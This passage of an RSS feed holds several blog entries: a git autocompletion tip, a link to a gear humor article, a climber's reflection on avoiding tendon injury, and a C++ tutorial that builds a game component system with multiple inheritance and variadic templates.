when using &lt;code&gt;git checkoutr&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Credits to a combination of answers on &lt;a href="disable-auto-completion-of-remote-branches-in-git-bash"&gt;this&lt;/a&gt; StackOverflow post.&lt;/p&gt;
&lt;p&gt;EDIT 2017-10-02: Updated to work with &lt;a href="https://github.com/git/git/commit/15b4a163950c2e8660a7797ce3975ccea8705f80#diff-f37c4f4a898819f0ca4b5ff69e81d4d9"&gt;git v2.13.0&lt;/a&gt; thanks to &lt;a href="https://gist.github.com/mmrko/b3ec6da9bea172cdb6bd83bdf95ee817#gistcomment-2218059"&gt;Alexander Ko's comment&lt;/a&gt;.&lt;br /&gt;
EDIT 2018-03-24: Updated to &lt;a href="https://github.com/git/git/commit/227307a639c96b3579b7fe60840fdae123d1ee88"&gt;speed up branch and tag completion&lt;/a&gt;.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Thu, 25 Sep 2014 06:05:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/git-checkout-autocomplete-local-branches-only.html</guid></item><item><title>Death by Idiotic Purchases</title><link>http://expeditionportal.com/death-by-idiotic-purchases-why-you-should-never-buy-a-fixie/</link><description>&lt;p&gt;I happened across &lt;a href="http://expeditionportal.com/"&gt;Expedition Portal&lt;/a&gt; the other day after the same tangent led me to &lt;a href="https://tripleaughtdesign.com"&gt;Triple Aught Design&lt;/a&gt;. Already more than an hour down this rabbit hole of outdoor expeditions and the gear enthusiasts use on such trips, I started clicking&amp;#160;&amp;#8212;&amp;#160;and clicking, and then I clicked some more until I had filled my entire Safari tab bar. And then, I began reading this humorous article by Mathew Scott from March of last year: &lt;a href="http://expeditionportal.com/death-by-idiotic-purchases-why-you-should-never-buy-a-fixie/"&gt;Death by Idiotic Purchases&lt;/a&gt;. If the only thing you, like me, love more than actually spending time outdoors is buying the gear to make that experience more enjoyable, and you&amp;#8217;re looking for a laugh, this is a great place to start.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://expeditionportal.com/death-by-idiotic-purchases-why-you-should-never-buy-a-fixie/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 24 Sep 2014 12:23:13 GMT</pubDate><guid isPermaLink="true">http://expeditionportal.com/death-by-idiotic-purchases-why-you-should-never-buy-a-fixie/</guid></item><item><title>Injury Impedes Improvement</title><link>https://josh.works/climbing/2014/09/24/injury-impedes-improvement/</link><description>&lt;p&gt;Kristi and I have been in Colorado for three months, I’ve been climbing regularly for two, I am back in shape and it feels good.&lt;/p&gt;

&lt;p&gt;I am tempted to throw myself into climbing again. To climb every day, or maybe every other day, and finish every session with training. But here’s the thing… I want to take the “long view” of climbing. I want to be climbing way harder in ten years than I am right now. I have every reason to think that this is totally possible, as long as I stay injury-free.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Injury Impedes Improvement&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The biggest barrier to continual improvement is injury. We all actively avoid injury, but other than trying to not hit the ground too hard, I’ve never been systematic in this pursuit.&lt;/p&gt;

&lt;p&gt;In taking the “long view”, I’m trying to think more in training 
cycles rather than just 
training.&lt;/p&gt;

&lt;p&gt;Previously, I would climb every other day, or sometimes every day, and try to work hard (and haphazard) training into every session. I’d spend time on the campus boards until I felt elbow tendonitis creeping in. Next, I’d spend a few weeks on the finger board, and then back to campusing, and I’d always just move to the next thing when I had pain in one area of my body or another.&lt;/p&gt;

&lt;p&gt;This method of training is a great way to get full-blown elbow tendonitis, or damage a tendon, or pull a muscle. Assuming we are all humans, we could get injured in two ways:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Overuse injury&lt;/strong&gt;
. Your shoulders, fingers, and especially elbows seem sensitive to tendonitis. We’ve all felt the onset of elbow tendonitis (some more often than others).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Too strong injury&lt;/strong&gt;
. As humans, we are quite adaptive to our environment. This adaptivity is 
usually great (Thanks, great great great great grandpa for living long enough to have some kids!) but if our muscles get stronger faster than our tendons get stronger, we expose our tendons to unsafe forces. (Our muscles have a lot of blood flow. Tendons have almost none. That should tell you that one can develop faster than the other.)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cycles are your Friend&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your muscles can grow strong faster than your tendons, this allows you to plot out what your improvement could look like. Rather than being a smooth up-and-to-the-right line, your strength should look more like stair steps. Get stronger in a short period of time, and then remain at that level for a period of time, to give your body time to catch up. If you skip this “waiting” period”, you’ll just outpace your tendon’s capabilities by a larger and larger margin. Inevitably, you’ll be psyched on some move you can do that you couldn’t do before, give it 100% effort, and POP, something’s strained, at best, or, at worst, ruptured/torn.&lt;/p&gt;

&lt;p&gt;I don’t want to do this. So I’m thinking a lot about what these cycles will look like. More to come.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5ee4b0278244cea1d6/1434910449964/2014-09-01-16-08-14.jpg"&gt;&lt;img alt="Post-climb snack with Alex King at Eldo." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ee4b0278244cea1d6_1434910449964_2014-09-01-16-08-14.jpg_" /&gt;&lt;/a&gt; Post-climb snack with Alex King at Eldo.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 24 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2014/09/24/injury-impedes-improvement/</guid></item><item><title>Component System using C++ Multiple Inheritance</title><link>https://whackylabs.com/concurrency/2014/09/23/component-system/</link><description>&lt;p&gt;Few days back, I talked about designing Component System using Objective-C and message forwarding. Today, to carry the conversation forward, we shall see how can the same Component System be designed with C++, and also why C++ is a better language choice for such a design.&lt;/p&gt;

&lt;p&gt;Before I begin, let’s copy-paste the abstract from our earlier post, on why and when do we actually need a Component System:&lt;/p&gt;

&lt;p&gt;I wanted a component system where I’ve a GameObject that can have one or more components plugged in. To illustrate the main problems with the traditional Actor based model lets assume we’re developing a platformer game. We have these three Actor types:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Ninja: A ninja is an actor that a user can control with external inputs.&lt;/li&gt;
  &lt;li&gt;Background: Background is something like a static image.&lt;/li&gt;
  &lt;li&gt;HiddenBonus: Hidden bonus is a invisible actor that a ninja can hit.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Source: Swim Ninja
Source: Swim Ninja
Let’s take a look at all the components inside these actors.&lt;/p&gt;

&lt;p&gt;Ninja = RenderComponent + PhysicsComponent
Background = RenderComponent
HiddenBonus = PhysicsComponent.&lt;/p&gt;

&lt;p&gt;Here RenderComponent is responsible for just drawing some content on the screen.
while the PhysicsComponent is responsible for just doing physics updates like, collision detection.&lt;/p&gt;

&lt;p&gt;So, in a nutshell from our game loop we need to call things like&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ninja&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;hiddenBonus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
 
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;ninja&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, in the traditional Actor model, if we have an Actor class with both RenderComponent and PhysicsComponent like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Actor&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="n"&gt;Actor&lt;/span&gt; &lt;span class="n"&gt;ninja&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Actor&lt;/span&gt; &lt;span class="n"&gt;hiddenBonus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Actor&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then it would inevitably add a PhysicsComponent to background actor and a RenderComponent to a hiddenBonus actor. So, the user of the code has to keep a mental track of what functions shouldn’t be invoked on what objects. Which is as awful in reality, as it sounds in theory.&lt;/p&gt;

&lt;p&gt;We could use the same approach we used when designing the Component System with Objective-C, by having a function on fat GameObject that could be used to enable a particular component. Think of each GameObject as an collection of many components. Where each component know how to deal with one thing, like rendering, physics, AI, networking, and so on. When creating a new GameObject we need a method to specify what components should be enabled for it. The fat interface technique we’ve already discussed in that last experiment. Let’s try something new, we’re using C++ after all. Let’s start with breaking the components as separate classes:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RenderComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PhysicsComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we can easily create composite components using such core components, such as:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RenderAndPhysicsComponent&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;
&lt;span class="p"&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now, we can update our game scene’s interface as:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;RenderAndPhysicsComponent&lt;/span&gt; &lt;span class="n"&gt;ninja&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt; &lt;span class="n"&gt;hiddenBonus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;RenderComponent&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This definitely serves our immediate needs, but there is some problem. This solution doesn’t scales well. Whenever we come up with a new component, we’ve to update your related base class accordingly and create a mix for each possible basic component interfaces. For five core components, we would get a total of C(5,1) + C(5,2) + C(5,3) + C(5,4) + c(5,5) = 5 + 10 + 10 + 5 + 1 = 31 total component interfaces combinations possible.&lt;/p&gt;

&lt;p&gt;In C++, we can actually do better. This is because C++ has one thing that other languages just don’t want. It’s called multiple inheritance.&lt;/p&gt;

&lt;p&gt;Instead of making the a composite collection class a direct collection of many components, we can instead have a single GameObject class that could inherit from as many components as desired. And, further to avoid having the fat abstraction issue, we can have the GameObject to be inherited at compile time from only the components that we actually need for that particular object.&lt;/p&gt;

&lt;p&gt;How do we design such a GameObject? One correct answer is using variadic templates:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GameObject&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;()...&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;
    
    &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="p"&gt;)...&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This GameObject has nothing of its own. A host class that wishes to use a instance of this object has to supply a concrete class as a template parameter. This has given infinite flexibility to our GameObject.&lt;/p&gt;

&lt;p&gt;We can now update our interface to easily use the core components to construct our GameObject instances that fit our needs:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ninja&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hiddenBonus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If that seems to verbose to write every time, we can in fact use typedefs to create some most common types.&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Sprite&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Trigger&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Actor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="n"&gt;Actor&lt;/span&gt; &lt;span class="n"&gt;ninja&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Trigger&lt;/span&gt; &lt;span class="n"&gt;hiddenBonus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Sprite&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, I know that feels already too awesome, but we still have a problem. In practice we often need to communicate between components. Like say, we have a TransformComponent, that just provides us a model matrix based on the current transform of the GameObject.&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TransformComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="cm"&gt;/** Get the model matrix of the transform to take things from model space to
     * the world space
     */&lt;/span&gt;
    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;GetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;rotation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And, that model matrix then could be used by the RenderComponent for rendering the mesh.&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RenderComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Uniform&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uniform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Camera&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;modelMatrix&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Mesh&lt;/span&gt; &lt;span class="n"&gt;mesh&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Uniform&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uniform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                             &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Camera&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;modelViewProjectionMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                                                              &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetViewMatrix&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                                                                                 &lt;span class="n"&gt;modelMatrix&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;glUniformMatrix4fv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uniform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;um4k_Modelviewprojection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;mesh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Draw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So, how do go with that design?&lt;/p&gt;

&lt;p&gt;To solve that, we actually need another component. Let’s call it CustomComponent. The entire purpose of CustomComponent is to have an Update function:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CustomComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
&lt;span class="nl"&gt;protected:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;customUpdate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now we can use our CustomComponent to bind many other components with something like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Ninja&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
	&lt;span class="cm"&gt;/* ... */&lt;/span&gt;
    &lt;span class="n"&gt;customUpdate_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Ninja&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;placeholders&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
